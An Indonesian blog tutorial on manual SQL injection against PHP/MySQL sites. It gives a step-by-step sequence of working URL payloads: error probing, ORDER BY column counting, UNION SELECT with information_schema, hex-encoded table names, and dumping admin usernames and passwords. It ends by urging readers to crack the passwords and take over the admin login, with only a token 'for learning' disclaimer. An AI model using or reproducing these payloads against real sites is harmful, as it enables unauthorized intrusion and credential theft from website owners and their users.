Tutorial sql injection manual

Beberapa waktu yang lalu saya pernah share tentang tutorial sql injection menggunakan tool havij dan sqlmap, kali ini saya mau share teknik sql injection secara manual tanpa software (jangan cuman jago pake tool :p )



dah tau kan sql injection ?
SQL ialah singakatan dari "Structured Query Language"
dah gitu aja :p

untuk tutorial kali ini saya tidak memakai SS,
teknik ini akan menampilkan hasilnya pada halaman website bersangkutan


langsung ke ritualnya :

perlu di ketahui :
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

Setiap MySQL terdapat "database",di dalam "database" terdapat "tables",di dalam "tables" terdapat "column,dan maklumat disimpan di dalam "column".
Database -> Tables -> Columm -> Information


[STEP 1]

carilah target (untuk dork bisa lihat di sini)
misal: target.com/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
target.com/berita.php?id=100' atau
target.com/berita.php?id=-100

sehingga muncul pesan error seperti berikut :
Warning: mysql_fetch_assoc()
Warning: mysql_fetch_array()
Warning: mysql_num_rows()
Warning: session_start()
atau yang semacam/serupa dan sebentuk atau seperti di atas


[STEP 2]

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:
target.com/berita.php?id=-100+order+by+1-- atau
target.com/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal:
target.com/berita.php?id=-100+order+by+1--
target.com/berita.php?id=-100+order+by+2--
target.com/berita.php?id=-100+order+by+3--
target.com/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: target.com/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi target.com/berita.php?id=-100+order+by+8--


[STEP 3]

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: target.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: target.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
target.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


[STEP 4]

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:
target.com/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+inf ormation_schema.tables--

seumpama table yang muncul adalah "admin"


[STEP 5]

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir

target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables+where+table_s chema=database()--


[STEP 6]

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir

target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0x61646D696E--


[STEP 7]

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :
target.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Contoh :
target.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,usernam e,password),6,7,8+from+admin--


[STEP 8]

tahap terakhir tinggal crack passwordnya (kalo perlu), terus cari admin loginnya >> tebass 3:)


saya tidak bertanggung jawab atas apa yang anda lakukan, ini hanya untuk materi pembelajaran saja

Semoga bermanfaat, terima kasih.